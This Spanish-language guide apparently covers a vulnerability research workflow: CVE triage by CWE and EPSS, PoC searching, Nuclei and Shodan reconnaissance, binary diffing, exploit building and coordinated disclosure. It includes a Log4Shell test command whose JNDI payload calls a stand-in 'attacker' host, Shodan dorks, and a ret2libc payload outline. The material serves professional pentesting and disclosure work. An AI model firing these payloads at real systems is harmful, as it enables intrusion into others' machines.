IDENTIFICACIÓN
Cuando un CVE entra en el stream, el primer paso es clasificarlo antes de invertir tiempo en él. Consultar el CWE (Common Weakness Enumeration) asociado determina si estamos ante un desbordamiento de buffer (CWE-787), use-after-free (CWE-416), inyección de código (CWE-94) o path traversal (CWE-22).
Verificar el EPSS score (Exploit Prediction Scoring System): probabilidad real de que exista exploit en los próximos 30 días. Un CVE con CVSS 9.8 pero EPSS 0.03 tiene prioridad inferior a uno con CVSS 7.5 y EPSS 0.87.
EJEMPLO
CVE-2024-3094 · XZ Utils · CWE-506 (backdoor en liblzma) · CVSS 10.0 · EPSS 0.95 → CRÍTICO
Afecta a systemd en Debian/Fedora sid. Vector: acceso SSH comprometido por liblzma maliciosa.
RECON & PoC
Con la clasificación clara, buscar Proof of Concept en fuentes verificadas. La velocidad importa: el 50% de los PoC aparecen en GitHub en menos de 48h. Buscar con gh search repos CVE-XXXX-XXXXX --sort=updated y filtrar por estrellado reciente. Validar el PoC antes de ejecutarlo: revisar el diff completo, comprobar firma del autor, aislar en docker run --network none.
Para mapear el parque vulnerable: Nuclei con templates oficiales (nuclei -t cves/2024/ -u https://target) es más fiable que Shodan para versiones exactas. Shodan es útil para rangos: http.title:"Apache Struts" http.status:200 country:ES o ssl.cert.subject.cn:*.target.com port:8443.
Confirmar la versión vulnerable antes de explotar: muchas distribuciones aplican backports de parches sin cambiar la versión del binario. Comprobar siempre con strings binary | grep -E "version|build" o via banner grabbing.
EJEMPLO
nuclei -t cves/2021/CVE-2021-44228.yaml -u https://target.com -H "User-Agent: {{jndi:ldap://attacker/x}}"
Log4Shell: Nuclei detecta el callback JNDI en el User-Agent. Requisito: JDK ≤ 8u191 sin parche de diciembre 2021.
BINARY_DIFFING
Si no hay PoC pero el parche oficial ya existe, el código modificado revela el punto exacto de la vulnerabilidad. Descargar las dos versiones del binario (vulnerable y parcheada) y comparar con BinDiff o Diaphora desde Ghidra/IDA.
El diffing identifica las funciones modificadas. Desensamblar con Radare2 o Ghidra para leer el flujo de control antes y después del parche. Los cambios en validaciones de bounds o en punteros son el punto de entrada.
EJEMPLO
r2 -A libssl.so.3 && afl~SSL_read → pdf @ sym.SSL_read
Diff entre OpenSSL 3.0.6 y 3.0.7 (CVE-2022-3602): función ossl_punycode_decode() añade check de índice en offset +0x4a. Sin el parche: stack overflow de 4 bytes.
EXPLOIT_BUILD
Con el vector confirmado, construir el payload en entorno completamente aislado (red desconectada, snapshot previo). Calcular offset con pwntools cyclic(300): el crash vuelca el valor del registro $rip o $rsp con el patrón. cyclic_find(0x61616171) devuelve el offset exacto — nunca asumir el que aparece en writeups de otros.
Gadgets ROP: ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --rop | grep "pop rdi". Verificar mitigaciones activas con checksec --file=./vuln (NX, PIE, RELRO, canary). Si hay canary, el enfoque cambia a format-string leak o heap overflow que evite el stack.
Objetivo: control confirmado del instruction pointer en lab. Documentar el primitivo exacto (write-what-where, RCE, LPE) antes de escalar.
EJEMPLO
cyclic(300) → crash en $rip=0x61616171 → cyclic_find(0x61616171) → 264
Payload final con ret2libc: b'A'*264 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system). El gadget ret extra alinea el stack a 16 bytes para libc en Ubuntu ≥ 18.04.
DISCLOSURE_CHAIN
El exploit funciona en lab. Ahora empieza el trabajo que distingue a un profesional de un script kiddie. En bug bounty: abrir el reporte en la plataforma (HackerOne/Bugcrowd) con CVSS calculado, PoC reproducible paso a paso y entorno exacto. Sin exagerar el impacto ni minorizarlo.
En pentest: el hallazgo va al informe estructurado con severidad, vector CVSS v3.1 completo (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), evidencia de explotación y recomendación de mitigación concreta — no "actualizar el software" sino "aplicar parche CVE-XXXX-XXXXX o mitigar con WAF rule X".
En responsible disclosure directa al vendor: contactar security@vendor.com con cifrado GPG, adjuntar el reporte y fijar un deadline de 90 días (estándar Google Project Zero). Registrar en MITRE si el vendor no responde en 7 días.
EJEMPLO
gpg --encrypt --recipient security@vendor.com report.txt → enviar con CVSSv3.1 + timeline + PoC
Día 0: contacto. Día 7: confirmación de recepción. Día 90: publicación coordinada o unilateral. Incluir IoCs si hay explotación activa en wild.